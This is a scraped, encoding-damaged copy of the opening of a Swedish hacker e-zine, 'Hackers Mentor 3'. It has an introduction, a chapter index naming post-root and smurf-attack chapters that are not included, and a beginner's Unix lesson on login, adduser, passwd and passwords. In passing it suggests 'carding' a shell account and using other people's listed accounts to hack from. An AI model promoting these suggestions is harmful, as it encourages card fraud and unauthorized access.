3230 lines
130 KiB
Plaintext
3230 lines
130 KiB
Plaintext
![]() |
|
|||
|
The third book of
|
|||
|
Hackers Mentor
|
|||
|
|
|||
|
The Hackers Mentor third book. Step #3.
|
|||
|
|
|||
|
::::
|
|||
|
::::::::
|
|||
|
:::::::::::
|
|||
|
:::::::
|
|||
|
::::
|
|||
|
|
|||
|
|
|||
|
The Hackers Mentor 3
|
|||
|
|
|||
|
V<EFBFBD>lkommen till den tredje boken av Hackers Mentor.. The Orange book. Hackers Mentor <20>r en serie
|
|||
|
guider inom hacking, phreaking, cracking, carding och elektronik som har skickats ut till
|
|||
|
prenumeranter i Sverige. The Hackers Mentor White Book <20> var den f<>rsta boken best<73>ende av 10
|
|||
|
Hackers Mentor delar. H<>r kommer trean, inneh<65>llande en massa nya godsaker! =^)...
|
|||
|
|
|||
|
Hackers Mentor ges ej l<>ngre ut som E-Tidning .. Allts<74>, den skickas inte l<>ngre ut som kortare
|
|||
|
sm<EFBFBD> nummer till en massa svenska prenumeranter, den finns och g<>rs nu endast som bokversion!
|
|||
|
|
|||
|
Nu b<>rjar vi avancera lite! Nu ska vi l<>ra oss om C++ och UNIX! Det blir la rolit??
|
|||
|
Det <20>r faktiskt ett M<>STE! Och om du INTE l<>r dig detta s<> kommer du ALDRIG kunna kalla dig f<>r
|
|||
|
en riktig hacker! <20>ven om det <20>r tr<74>kigt och du inte riktigt h<>nger med,, s<> l<>s vidare! Och l<>s om och
|
|||
|
om igen s<> att du L<>R DIG allt som st<73>r i boken! Nu b<>rjar den riktiga hackingen ta vid.
|
|||
|
Sj<EFBFBD>lv, n<>r jag skrev kapitel 1 om UNIX i den h<>r boken, tyckte jag att det var jobbigt och segt..
|
|||
|
Men efter ett tag l<>ttar det, efter en liten stund b<>rjar det sitta. Till sist str<74>cker man p<> sig,
|
|||
|
ler och g<>r och h<>mtar en Jolt i kylsk<73>pet.. <20>Ja!! Jag KAN det! Fy fan va kul<75>. Det l<>ttar,
|
|||
|
i slutet av UNIX kapitlet, om du l<>st det, klarat av att f<>rst<73> allt och kommer ih<69>g det mesta,
|
|||
|
s<EFBFBD> kommer du m<> bra!
|
|||
|
|
|||
|
/Mathreon. (Numera Icecoder).
|
|||
|
|
|||
|
* Ni tycker kanske att det bara blir sv<73>rare och sv<73>rare att f<>rst<73> vad jag menar eller kanske det
|
|||
|
helt enkelt blir f<>r sv<73>rt att komma ih<69>g allt, Det beror p<> att jag sj<73>lv redan kan allt det jag skriver
|
|||
|
och helt enkelt inte riktigt minns hur jag sj<73>lv skulle vela ha det skrivet, n<>r jag sj<73>lv INTE kunde
|
|||
|
det jag nu skriver om<6F> Jag skulle kanske beh<65>va n<>gon av er l<>sare till hj<68>lp i detta tillf<6C>lle.
|
|||
|
Men l<>s NOGGRANT! Sp<53>nn <20>gonen p<> texten och ta p<> dig t<>nkarluvan! Det f<>r ta den tid det tar
|
|||
|
men du M<>STE, M<>STE, M<>STE l<>ra dig det som st<73>r! Och jag f<>rs<72>ker f<>rklara s<> gott det g<>r!
|
|||
|
Dock kan det vara sv<73>rt att h<>lla den takt som ni vill ha,, men det f<>r ni ta! Tyv<79>rr. *
|
|||
|
|
|||
|
OBS: Om du inte har l<>st bok nummer 1 & 2. <20>The White Book<6F> & <20>Yellow Book<6F>., och inte heller
|
|||
|
n<EFBFBD>gra andra texter, s<> rekommenderar jag att du G<>R det! Du hittar alla nuvarande b<>cker p<>
|
|||
|
www.insecurefoundation.cjb.net ELLER www.haxerz.com. Eller
|
|||
|
www.crosswinds.net/~insecfoundation/main.html
|
|||
|
|
|||
|
|
|||
|
|
|||
|
BOKEN SER B<>ST UT I MICROSOFT WORDS OM DU HAR SK<53>RM INST<53>LLNING
|
|||
|
P<EFBFBD> 800x600 Bildpunkter och <20>Wordwrapping<6E> p<>slagen. Annars ser den bra ut i HTML
|
|||
|
format. Du hittar DOC och HTML formaten p<> v<>r hemsida. (hemsidor).
|
|||
|
|
|||
|
OM DU EJ SER BILDER, UTAN STORA, TOMMA F<>LT I TEXTEN, S<> SL<53>PP
|
|||
|
MUSEN OCH V<>NTA LITE, D<> LADDAS BILDERNA IN P<> DIN SK<53>RM!
|
|||
|
|
|||
|
PS: SKRIV UT BOKEN! DEN <20>R GJORD F<>R DET! DET
|
|||
|
K<EFBFBD>NNS L<>TTARE ATT L<>SA DEN S<>.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Nu ska vi titta lite p<> hur ditt kunnande om hacking kommer vara beroende p<> hur mycket och spritt
|
|||
|
du l<>ser! Se f<>ljande tabell:
|
|||
|
|
|||
|
|
|||
|
[Lista 0.1 <20> Hur bra kan du bli?]
|
|||
|
|
|||
|
D<EFBFBD> ska vi se<73>
|
|||
|
En ETTA <20>r det b<>sta du kan ha h<>r. En sjua <20>r det s<>msta!
|
|||
|
Vilket passar in p<> dig? Vilket exempel vill du f<>lja? :
|
|||
|
|
|||
|
7 = <20> Du l<>ser ingenting! Det enda du g<>r <20>r att leka med NetBus och Kaboom!3 <20>mailbomber och
|
|||
|
prata med dina lamer kompisar om hur mycket data du kan! ( Du kan F<><46><EFBFBD>R LITE!!! )
|
|||
|
|
|||
|
6 = Du har sl<73>ngt ett <20>ga p<> Hackers Mentors tredje del om NetBus. Du beter dig som 7<>n men
|
|||
|
l<>ser lite grann om hur man anv<6E>nder Netbus och Winnuke mm.. ( Lamt! Mycket lamt! )
|
|||
|
|
|||
|
5 = Du l<>ser varje del av Hackers Mentor men f<>rst<73>r n<>stan ingenting. Du h<>ller p<> som 7<>n och 6<>n
|
|||
|
fast lite mer seri<72>st. Du VILL l<>ra dig! Du VILL l<>ta N<>GON l<>ra dig! Bingo! Du har hittat r<>tt
|
|||
|
guide, synd att du inte <20>r tillr<6C>ckligt smart bara!
|
|||
|
|
|||
|
4 = Du l<>ser Hackers Mentor och fattar det som st<73>r. Du l<>ser dessutom de texter som diox1de
|
|||
|
(Knash^) gav ut f<>r 1<> <20>r sedan! Ok,, du har en f<>rm<72>ga att fatta och en vilja att l<>ra! Du b<>rjar
|
|||
|
komma n<>gon vart! (dock programmerar du fortfarande i BATCH, eller?)
|
|||
|
|
|||
|
3 = Du l<>ser Hackers Mentor, Du l<>ser en massa andra texter om hacking och phreaking och allt
|
|||
|
m<EFBFBD>jligt som du hittar p<> diverse hacking arkiv. Du fattar n<>stan allt! Du <20>r sn<73>ppet b<>ttre men p<>
|
|||
|
ungef<EFBFBD>r samma v<>g som 4<>n.
|
|||
|
|
|||
|
2 = Du l<>ser Hackers Mentor, Alla delar! Du l<>ser en massa annat ocks<6B> (Fr<46>n GHA<48>s textarkiv,) du
|
|||
|
l<EFBFBD>ser och l<>gger in egna ins<6E>ndare p<> Flashback och BugTraq. Du l<>ser UNIX b<>cker och en guide om
|
|||
|
C++, Du har l<>st VB och kommer in lite p<> Perl. Du g<>r till biblioteket varje m<>nad och l<>nar en ny
|
|||
|
bok om ett operativsystem eller programmeringsspr<70>k. Bra!! Du <20>r ju p<> helt r<>tt v<>g! Dig kommer det
|
|||
|
bli n<>got av! Forts<74>tt p<> det sp<73>ret!
|
|||
|
|
|||
|
1 = Wow! Du <20>r <20>bern<72> som <20>gnar STOR tid <20>t att l<>sa och l<>ra! T.o.m. st<73>rre tid <20>n 2<>an!
|
|||
|
(Allts<74> n<>gra timmar om dagen!). Du HAR L<>ST Unix, Assembler, VB, Perl, C/C++,
|
|||
|
alla Hackers Mentor,, du kommer l<>sa alla senare Hackers Mentor. Text arkiv? Tss! Du har redan t<>mt
|
|||
|
alla! Du l<>ser nu ALLT som du kan hitta om data! Du l<>ser t.ex.. Avancerad C++ i n<>tverk,
|
|||
|
Atari programmering, avancerad cracking, Systemering, OS programmering, ja ja ja,, du KAN ALLA
|
|||
|
termer och ord, du VET vad alla f<>rkortningar st<73>r f<>r. Du har varit med l<>nge, men slutar inte l<>sa<73>
|
|||
|
Du kan allt om firewalls, inet-camera, kan en hel del 3D och Spel programmering, ljuss<73>ttning,
|
|||
|
webbdesign, JA! Det mesta! Du har bara PDP datorerna och Atari programmeringen kvar! Om ens
|
|||
|
det! Du kanske t.o.m. <20>r med och forskar fram ett nytt n<>tverk? Nya tj<74>nster, programmerar s<>kerhets
|
|||
|
software f<>r olika f<>retag..
|
|||
|
|
|||
|
|
|||
|
|
|||
|
S<EFBFBD>.. vad vill jag f<> fram h<>r???
|
|||
|
|
|||
|
Po<EFBFBD>ngen <20>r.. DU BLIR INTE N<>GON <20>BERHAXXOR AV ATT L<>SA ENBART
|
|||
|
HACKERS MENTOR! Du M<>STE l<>sa en hel j<>vla massa andra saker! L<>na b<>cker, l<>sa texter och
|
|||
|
E-Zines, prata med folk p<> IRC, Du m<>ste t<>mma vartenda hacking arkiv p<> texter, l<>s alla tutorials du
|
|||
|
- hittar och fr<66>ga efter nya p<> IRC! Men.. vi kommer en l<>ng v<>g med Hackers Mentor. Dock M<>STE
|
|||
|
du l<>sa en massa andra texter och b<>cker ocks<6B>! Annars g<>r det aldrig!
|
|||
|
|
|||
|
( F<>r er som nu sitter och s<>ger, <20>hh. Fy fan va d<>ligt. <20>kommer en l<>ng v<>g med Hackers Mentor..
|
|||
|
Hah! Kolla bara,, NetBus, HakTek och anonymt mail! Fy fan va t<>ntigt. De kommer ju ingen vart.. ,<2C>
|
|||
|
|
|||
|
- Vi <20>r <20>n s<> l<>nge bara i B<>RJAN av TREDJE boken! Nu ska jag b<>rja tjabbla om UNIX och C++,
|
|||
|
L<EFBFBD>ter inte det ganska bra? Vi har ju fan 8 b<>cker kvar! Ni kan vara lugna,, <20>ven om det nu tar lite tid
|
|||
|
f<EFBFBD>r mig att skriva och komplettera b<>ckerna, s<> kommer de. Och n<>sta g<>ng blir den lite mer
|
|||
|
avancerat, Innan vi slutar ska du i alla fall vara s<> kunnig att du kan b<>rja jobba som programmerare
|
|||
|
eller s<>kerhets ansvarig p<> ett f<>retag, skryta inf<6E>r IRC kompisar med dina kunskaper och visa din
|
|||
|
<EFBFBD>mackt<EFBFBD> p<> betydligt h<>gre stadium <20>n nuking och flooding ! ;-).
|
|||
|
|
|||
|
Jag f<>rs<72>ker att h<>lla boken inom s<> lagliga gr<67>nser som m<>jligt fr<66>n och med den h<>r boken.
|
|||
|
Men lugn! Ni kommer att f<> l<>ra er lika mycket om s<>kerhet som f<>rut. Dock lite mer som,,
|
|||
|
S<EFBFBD>KERHETS aspekt ,,, fr<66>n den s<>kerhetsansvariges <20>gon. I n<>sta nummer kommer jag bland annat
|
|||
|
prata om SYN flooding, sniffers, carding och s<> klart, forts<74>tta med UNIX och C++.
|
|||
|
|
|||
|
|
|||
|
_ INDEX:___________
|
|||
|
Kapitel 1: UNIX
|
|||
|
Anv<EFBFBD>nd Unix f<>r f<>rsta g<>ngen. L<>r dig beh<65>rska systemet och de enklaste kommandona.
|
|||
|
|
|||
|
Kapitel 2: C/C++ Programmering.
|
|||
|
L<>r dig det hederliga hackingspr<70>ket C++! Skapa egna program f<>r Windows.
|
|||
|
|
|||
|
Kapitel 3: Inspirations stund
|
|||
|
En liten saga f<>r att ge mera inspiration att l<>ra!. <20> Tomteverkstaden<65>.
|
|||
|
|
|||
|
Kapitel 4: Vad du g<>r n<>r du f<>tt <20>root<6F> i ett system.
|
|||
|
Anv<EFBFBD>nda Unix och telnet f<>r att g<> vidare i ditt hackade system.
|
|||
|
|
|||
|
Kapitel 5: Smurf Attacks
|
|||
|
S<EFBFBD> g<>r det till, s<> h<>r g<>r du f<>r att <20>smurfa<66> n<>gon av n<>tet.
|
|||
|
|
|||
|
Kapitel 6: Mera UNIX
|
|||
|
F<EFBFBD> ig<69>ng Internet, konfigurera n<>tet och n<>tverkskortet. Internet tj<74>nster mm..
|
|||
|
|
|||
|
Kapitel 7: Dreamhack 2000
|
|||
|
HaxerZ har varit p<> Dreamhack 2K i Borl<72>nge. Nordens / Europas(?) st<73>rsta demo party.
|
|||
|
Hur var det? Hur gick det till? Nyheter och <20>skvaller<65> ;-).
|
|||
|
|
|||
|
|
|||
|
Kapitel 1: UNIX
|
|||
|
|
|||
|
Nu har du passerat s<> gott som alla de nyb<79>rjar stadier du kan t<>nka dig, och <20>r p<> god v<>g
|
|||
|
att lyckas som hacker. Den h<>r boken kommer <20>ven hj<68>lpa dig p<> v<>gen till att bli dataexpert
|
|||
|
p<EFBFBD> ett f<>retag eller som s<>kerhets expert hos Internet polisen!. Utan den h<>r boken klarar du dig
|
|||
|
helt enkelt inte! Du m<>ste l<>ra dig Unix och C++ i vilket fall som helst! S<> det <20>r bara att s<>tta
|
|||
|
ig<EFBFBD>ng! H<>r <20>r f<>rsta kapitlet, den f<>rsta timmen p<> din v<>g mot IT Miljon<6F>rs jobben!
|
|||
|
|
|||
|
|
|||
|
* <20>ALLA HACKERS ANV<4E>NDER UNIX<49> (?) *
|
|||
|
|
|||
|
Nej, tyv<79>rr. Det st<73>mmer inte. <20>ven om alla s<>ger s<>. Dock m<>ste en hacker kunna <20>t minstonde
|
|||
|
grunderna i Unix f<>r att klara de krav som st<73>lls d<>r ute p<> n<>tet. Det <20>r faktiskt s<> att s<> gott som
|
|||
|
alla servrar p<> Internet anv<6E>nder sig av Unix. Och hur ska du m<>jligen kunna hacka en utan att ens
|
|||
|
veta om vad <20>ls<6C>, <20>cat<61> och /etc betyder?
|
|||
|
|
|||
|
Innan vi kan h<>ja ribban och b<>rja hacka servers p<> allvar, beh<65>ver vi l<>ra oss Unix. S<> nu k<>r vi
|
|||
|
ig<EFBFBD>ng! (F<>rst, om du inte visste det, s<> <20>r Unix ett operativsystem, som Windows, fast mer avancerat
|
|||
|
men mycket b<>ttre och snabbare. Unix utvecklades hos AT&T i USA i slutet av 60 talet).
|
|||
|
|
|||
|
1. Jag t<>nker inte ber<65>tta hur du installerar Unix / Linux. Det <20>r en halv bok i sig. Det finns m<>nga,
|
|||
|
enkla instruktioner till det n<>r du skaffar systemet.
|
|||
|
|
|||
|
- S<> hur skaffar jag Unix / Linux ?
|
|||
|
|
|||
|
Det finns m<>nga svar, det vanligaste och billigaste <20>r att ladda hem det. Det kostar sin tid p<> n<>tet,
|
|||
|
men om du j<>mnf<6E>r det priset med att k<>pa systemet i butik, s<> sparar du m<>nga sedlar!
|
|||
|
Jo. Du kan k<>pa det i butik. Sj<53>lvklart. www.linuxbutiken.se <20>r en adress som jag tror fungerar,
|
|||
|
Du kan ju <20>ven titta in hos riktiga butiker i stan. Men r<>kna med kostnaderna!
|
|||
|
Dock <20>r nog det b<>sta alternativet att k<>pa Unix <20>ver disk.
|
|||
|
|
|||
|
|
|||
|
N<EFBFBD>gra olika varianter av Linux/Unix/*NIX Baserade system <20>r:
|
|||
|
|
|||
|
Slackware Linux ( B<>sta valet tycker jag (3.6 rockar ;-) )
|
|||
|
SuSe Linux
|
|||
|
RedHat Linux
|
|||
|
Dragon Linux ( Test version )
|
|||
|
Corel Linux
|
|||
|
Caldera Open Linux
|
|||
|
FreeBSD ( BSD System )
|
|||
|
System V ( En av de <20>ldsta versionerna av UNIX )
|
|||
|
<EFBFBD>POSIX<EFBFBD>, HP-UX, Solaris, AIX
|
|||
|
|
|||
|
Detta <20>r bara toppen p<> isberget. Det finns en MASSA olika versioner!
|
|||
|
Och det enda s<>ttet att v<>lja p<>, <20>r att fr<66>ga i butiken, l<>sa p<> Internet eller
|
|||
|
rent utav , testa systemen och se vilket som passar b<>st f<>r just DINA behov!
|
|||
|
|
|||
|
Innan jag s<>ger n<>gonting mer vill jag bara f<>rtydliga att Linux och Unix <20>r ungef<65>r
|
|||
|
samma sak, och att det du l<>r dig h<>r, g<>ller f<>r b<>de Linux och Unix.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
UNIX <20>R ETT FLERANV<4E>NDARSYSTEM
|
|||
|
|
|||
|
Att Unix <20>r ett fleranv<6E>ndarsystem inneb<65>r att flera olika personer kan anv<6E>nda
|
|||
|
systemet samtidigt. Detta d<> genom n<>tverk f<>rst<73>ss. Utan n<>tverk inblandat, <20>r det
|
|||
|
du, och BARA du som anv<6E>nder systemet.
|
|||
|
F<EFBFBD>r att du ska kunna konfigurera systemet och f<> det att g<>ra som du sj<73>lv vill ha det,
|
|||
|
s<EFBFBD> b<>r du dock ha ett eget konto p<> den dator du anv<6E>nder.
|
|||
|
Eftersom att du kanske gillar <20>C Shell<6C> b<>ttre <20>n din bror, som ocks<6B> ska anv<6E>nda datorn,
|
|||
|
s<EFBFBD> <20>r det ju v<>ldigt bra om det finns tv<74> olika konton! Ett med C Shell och ett med Bash. (Som din bror
|
|||
|
- gillar). Du kan ocks<6B> ha ditt egna konto p<> en Unix server. Ett Shell konto!
|
|||
|
(Jag ber<65>ttar mer om shells senare). D<> m<>ste system administrat<61>ren, (den ansvarige f<>r servern),
|
|||
|
kunna h<>lla ordning p<> sina anv<6E>ndare. D<>rf<72>r tilldelas alla anv<6E>ndare ett eget inloggningsnamn,
|
|||
|
l<EFBFBD>senord och en viss <20>tkomst till systemet. Vi kommer i den h<>r boken f<>rutse att du k<>r Unix p<>
|
|||
|
din egen dator, utan uppkoppling, och p<> ett shell konto som ligger p<> din egen dator, och inte p<>
|
|||
|
en server i USA.
|
|||
|
|
|||
|
? Hur du skaffar ett shell konto
|
|||
|
|
|||
|
- Du kan p<> vissa system logga in som anonym anv<6E>ndare. Men f<>r d<> mindre m<>jligheter att
|
|||
|
r<EFBFBD>ra dig i systemet, och du kan inte anv<6E>nda det till s<> mycket.
|
|||
|
|
|||
|
Du kan registrera dig f<>r ett gratis konto, men d<> kan du heller (i de flesta fall) inte anv<6E>nda kontot
|
|||
|
f<EFBFBD>r s<> mycket, och kan inte t.ex. k<>ra en IRC bot p<> kontot, n<>r du inte sj<73>lv <20>r online.
|
|||
|
|
|||
|
Du kan hyra ett konto. D<> f<>r du st<73>rre m<>jligheter att g<>ra saker p<> servern, och kan k<>ra program
|
|||
|
som t.ex. IRC bots, <20>ven n<>r du inte <20>r online. Dessa konton kostar oftast inte s<> mycket, men <20>r
|
|||
|
hemskt anv<6E>ndbara. Du betalar en viss summa pengar, en g<>ng varje kvartal, m<>nad eller <20>r, och
|
|||
|
kontot h<>lls <20>ppet f<>r dig.
|
|||
|
|
|||
|
Du kan k<>pa ett konto. <20> Betala lite extra, och du kan f<> ett konto som best<73>r i flera <20>r!
|
|||
|
|
|||
|
Hur som helst..
|
|||
|
Fr<EFBFBD>n och med denna textsnutt f<>ruts<74>tter jag att du har n<>gon version av Unix/Linux och
|
|||
|
k<EFBFBD>r den p<> din dator. <20> Jag hoppar nu <20>ver all historik mm.. Det k<>nns <20>verfl<66>digt! <20>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
OBS: Det <20>r viktigt att du l<>ser allt och l<>r dig allt som st<73>r i den h<>r boken! Annars g<>r du
|
|||
|
bara i meningsl<73>sa cirklar utan att komma n<>gon vart!
|
|||
|
|
|||
|
|
|||
|
1: Skaffa ett konto p<> din egen maskin, och logga in!
|
|||
|
|
|||
|
Denna del:
|
|||
|
|
|||
|
? Logga in och ut ur systemet
|
|||
|
? <20>ndra l<>senord
|
|||
|
? V<>lja ett bra l<>senord
|
|||
|
? Ta reda p<> vem du <20>r och vem datorn tror att du <20>r
|
|||
|
? Ta reda p<> vilka andra anv<6E>ndare som finns i systemet
|
|||
|
? Ta reda p<> vad alla andra g<>r i systemet
|
|||
|
? Kontrollera inst<73>llningar, datum och tid.
|
|||
|
|
|||
|
|
|||
|
[ En hel del l<>nat ur boken Unix p<> 24 Timmar och Know Ware - Linux ]
|
|||
|
|
|||
|
|
|||
|
F<EFBFBD>rst, s<> b<>r du ju k<>nna till att den f<>rsta g<>ng du loggar in p<> systemet anv<6E>nder du det namn och
|
|||
|
l<EFBFBD>senord du valde n<>r du installerade Unix/Linux. Antagligen namnet <20>root<6F>.
|
|||
|
|
|||
|
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
|
|||
|
|
|||
|
Det f<>rsta du kommer se n<>r du kopplar upp dig mot ett UNIX system, eller bara startar Unix p<>
|
|||
|
din egen dator, <20>r en liten reklam banner med systemets namn, tid och datum. Samt en liten prompt:
|
|||
|
|
|||
|
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
|
|||
|
login:
|
|||
|
|
|||
|
|
|||
|
Raden <20>login:<3A>, fr<66>gar dig som du nog f<>rst<73>r, efter ditt konto namn. Om det ser annorlunda ut p<> din
|
|||
|
sk<EFBFBD>rm, s<> kommer du <20>nd<6E> alltid, f<>rr eller senare, till login prompten, d<>r du m<>ste ange ditt
|
|||
|
anv<EFBFBD>ndarnamn och l<>senord. Var noga med att anv<6E>nda sm<73> bokst<73>ver om ditt system inte sagt annat!
|
|||
|
Ett login vid man Icecoder skulle UNIX se som ett helt annat login <20>n icecoder. :
|
|||
|
|
|||
|
Login: icecoder
|
|||
|
Password:
|
|||
|
|
|||
|
Skriv in konto namnet och klicka p<> <20>Enter<65> knappen p<> ditt tangentbord. [Enter & Return <20>r samma
|
|||
|
sak! ] Vi n<>mner tangenten som Enter i den h<>r boken.
|
|||
|
N<EFBFBD>r du klickat Enter s<> kommer Password prompten upp. Den vill allts<74> ha ditt l<>senord,,,
|
|||
|
N<EFBFBD>r du skriver in l<>senordet s<> kommer du sj<73>lv inte kunna se vad du skriver p<> sk<73>rmen,
|
|||
|
det <20>r normalt! Bara s<> att inte din nyfikne kompis ska se vad du skriver, <20>ver axeln p<> dig.
|
|||
|
|
|||
|
Om du skriver in felaktigt l<>senord eller login, s<> kommer systemet svara med <20>Login incorrect<63> och
|
|||
|
du f<>r, (i de flesta fall) tv<74> f<>rs<72>k till. S<> se till att stava R<>TT och med STORA och sm<73> bokst<73>ver
|
|||
|
p<EFBFBD> r<>tt st<73>llen! Exakt s<> som du f<>tt veta att det ska stavas! Aldrig med mellanslag!
|
|||
|
|
|||
|
|
|||
|
|
|||
|
N<EFBFBD>r du har loggat in f<>r du se lite mer information om datum, vind och v<>der.. du vet.
|
|||
|
Beroende p<> vilken sorts shell du anv<6E>nder, kommer du f<> se lite olika varianter av prompter.
|
|||
|
Den h<>r prompten <20>r i vanliga fall ett % tecken:
|
|||
|
|
|||
|
%
|
|||
|
- som talar om f<>r dig att systemet <20>r redo att ta emot kommandon.
|
|||
|
|
|||
|
En annan vanlig prompt <20>r $. Det spelar ingen roll..
|
|||
|
Din prompt kommer antagligen se ut p<> ett ungef<65>r s<> h<>r:
|
|||
|
|
|||
|
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
|
|||
|
Login: icecoder
|
|||
|
Password:
|
|||
|
Last login: Fri Apr 8 19:32:12 on ttyAe
|
|||
|
You have mail.
|
|||
|
[/users/icecoder] :
|
|||
|
(hackment) 3 :
|
|||
|
founder@lords.com %
|
|||
|
|
|||
|
|
|||
|
Din prompt beh<65>ver inte se ut s<> h<>r, men den har i varje fall en unik
|
|||
|
egenskap: Den <20>r det f<>rsta som st<73>r p<> raden d<>r din mark<72>r finns,
|
|||
|
och den upprepas varje g<>ng du har k<>rt ett Unixprogram.
|
|||
|
|
|||
|
S<EFBFBD> ditt f<>rsta Unix kommando:
|
|||
|
|
|||
|
exit
|
|||
|
|
|||
|
F<EFBFBD>r att logga ut ur systemet. Pr<50>va det! Det st<73>nger alla program och logar ut.
|
|||
|
Sedan f<>r du en ny prompt vid vilken du ska skriva in l<>sen och login igen!
|
|||
|
|
|||
|
%exit
|
|||
|
- Quit meddelande visas p<> denna rad -
|
|||
|
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
|
|||
|
|
|||
|
login:
|
|||
|
|
|||
|
|
|||
|
Det <20>r ocks<6B> m<>jligt att du kan avsluta sessionen genom att h<>lla in Ctrl-D.
|
|||
|
Vissa skal f<>ngar upp detta och fr<66>gar om du verkligen vill avsluta, vissa st<73>nger
|
|||
|
direkt.
|
|||
|
|
|||
|
( F<> ETT KONTO P<> EN SERVER )
|
|||
|
|
|||
|
F<EFBFBD>r att f<> ett konto som du kan koppla upp dig till, (vilket jag rekommenderar)
|
|||
|
S<EFBFBD> m<>ste du antingen registrera ett konto p<> n<>gon server, eller g<> och h<>mta
|
|||
|
ett fungerande fr<66>n www.cyberarmy.com/lists.
|
|||
|
Man kan dock aldrig lita p<> att de kontona fungerar, eller s<> kan de vara under str<74>ng
|
|||
|
bevakning, och d<> <20>r det ingen st<73>rre gl<67>dje att hacka fr<66>n dem.
|
|||
|
Det finns v<>ldigt m<>nga hemsidor och f<>retag som l<>ter dig antingen hyra, eller f<> ett
|
|||
|
konto. F<>rst<73>ss <20>r de konton som du kan f<> gratis v<>ldigt d<>liga och fungerar s<>llan <20>ven
|
|||
|
n<EFBFBD>r du inte sj<73>lv <20>r online. Men det <20>r alltid en b<>rjan! Annars kan du ju carda ett konto.
|
|||
|
Mer om carding i Red Book of HM. Jag f<>rutser att du har ett konto nu.
|
|||
|
|
|||
|
|
|||
|
Om du ist<73>llet <20>r inloggad som <20>root<6F>, allts<74> som den anv<6E>ndare som f<>r g<>ra vad han/hon vill
|
|||
|
i systemet, s<> kan du skriva <20>adduser kalle<6C> f<>r att l<>gga till en anv<6E>ndare med namnet <20>kalle<6C>.
|
|||
|
OBS: Ta bort citat tecknen! (som alltid)
|
|||
|
N<EFBFBD>r du skrivit den d<>r kodraden f<>r du en massa f<>rfr<66>gningar om olika saker.
|
|||
|
Fyll i informationen och voella! Du har skapat en ny anv<6E>ndare i systemet som inte har lika
|
|||
|
stor valfrihet och access som root. Du kan anv<6E>nda det nya kontot f<>r att gr<67>va i ditt system utan att
|
|||
|
ta on<6F>diga risker. ;-).
|
|||
|
|
|||
|
BYTA L<>SENORD
|
|||
|
|
|||
|
Nu n<>r du vet hur man loggar in (f<>rutsatt att du har ett konto!), s<> kan det vara bra
|
|||
|
att veta hur du <20>ndrar ditt l<>senord. Detta l<>senord kan vara v<>ldigt viktigt att h<>lla
|
|||
|
hemligt. S<> se till att inte skriva upp det p<> en lapp som du st<73>mplar fast p<> skrivbordet
|
|||
|
eller i v<>rre fall, p<> en gul lapp p<> sk<73>rmkanten!
|
|||
|
|
|||
|
Kommandot f<>r att <20>ndra l<>senord <20>r passwd.
|
|||
|
Det anv<6E>nds p<> f<>ljande s<>tt:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
% passwd
|
|||
|
Changing password for Icecoder.
|
|||
|
Old password:
|
|||
|
New password:
|
|||
|
Retype new password:
|
|||
|
Missmatch <20> password unchanged.
|
|||
|
%
|
|||
|
|
|||
|
H<EFBFBD>r <20>r ett exempel. I mitt fall <20>ndrade jag inte l<>senordet.
|
|||
|
<EFBFBD> Missmatch <20> password unchanged. <20>
|
|||
|
betyder f<>rst<73>ss att jag skrev in felaktigt l<>senord och
|
|||
|
d<EFBFBD> <20>ndrades det inte!
|
|||
|
OBS: Du m<>ste vara inloggad p<> det konto d<>r du vill <20>ndra l<>senord! =^).
|
|||
|
|
|||
|
Jag m<>ste genast uppm<70>rksamma dig p<> s<>kerhets kraven som du b<>r st<73>lla p<> dig sj<73>lv!
|
|||
|
F<EFBFBD>r att ingen ska kunna gissa sig till, eller enkelt lyckas cracka sig in p<> ditt konto, beh<65>ver
|
|||
|
du anv<6E>nda ett trassligt l<>senord. G<>rna runt 8 bokst<73>ver med b<>de siffror och bokst<73>ver.
|
|||
|
Dock b<>r du ju komma ih<69>g l<>senordet! Ett d<>ligt l<>sen skulle kunna vara:
|
|||
|
|
|||
|
misse
|
|||
|
|
|||
|
(Som i detta exempel <20>r namnet p<> din katt)
|
|||
|
Ett annat d<>ligt l<>sen skulle kunna vara:
|
|||
|
|
|||
|
a0a0a0
|
|||
|
|
|||
|
- Varf<72>r det? Fr<46>gar du.. <20> D<>rf<72>r att vem som helst skulle kunna r<>ka skriva detta, eller
|
|||
|
i annat fall, om n<>gon bruteforce crackade mot ditt konto, s<> skulle crackern snart hitta ditt
|
|||
|
l<EFBFBD>senord! Anv<6E>nd inte g<>rna enbart bokst<73>ver och siffror som kommer tidigt i alfabetet! Och
|
|||
|
g<EFBFBD>r inte l<>senordet f<>r kort!!
|
|||
|
|
|||
|
|
|||
|
Et exempel p<> ett BRA l<>senord skulle kunna vara:
|
|||
|
|
|||
|
dff9y4hu
|
|||
|
|
|||
|
Wow! Det ser trassligt ut! Hur skulle jag komma ih<69>g det?
|
|||
|
- Inte fan vet jag. Men det kan bli en n<>dv<64>ndighet!
|
|||
|
Du skulle kunna ta, de f<>rsta tre bokst<73>verna i ditt f<>rnamn, de tre f<>rsta siffrorna i ditt hemnummer,
|
|||
|
Och de tre f<>rsta bokst<73>verna i ditt efternamn.
|
|||
|
(Ditt telefon nummer kanske <20>r 094258831 och du kanske heter Adam Ohlsson):
|
|||
|
|
|||
|
ada094ohl
|
|||
|
|
|||
|
Jag tror knappast att n<>gon skulle testa detta. Men eftersom att jag n<>mner det h<>r,,, du kan ju
|
|||
|
ta det lite omv<6D>nt:
|
|||
|
|
|||
|
ohlada094
|
|||
|
eller
|
|||
|
adaohl094
|
|||
|
eller
|
|||
|
ada138lho
|
|||
|
|
|||
|
( Det sista var med de sista tre siffrorna i ditt nummer och <20>ohl<68> Bakl<6B>nges)
|
|||
|
|
|||
|
|
|||
|
Du kan ocks<6B> ta l<>nga meningar som <20>Jag e en leet guru p<> C++<2B> och f<>rkorta det till:
|
|||
|
Jeelgpc. - Det skulle bli sv<73>rt nog, men du kunde <20>nd<6E> komma ih<69>g det!
|
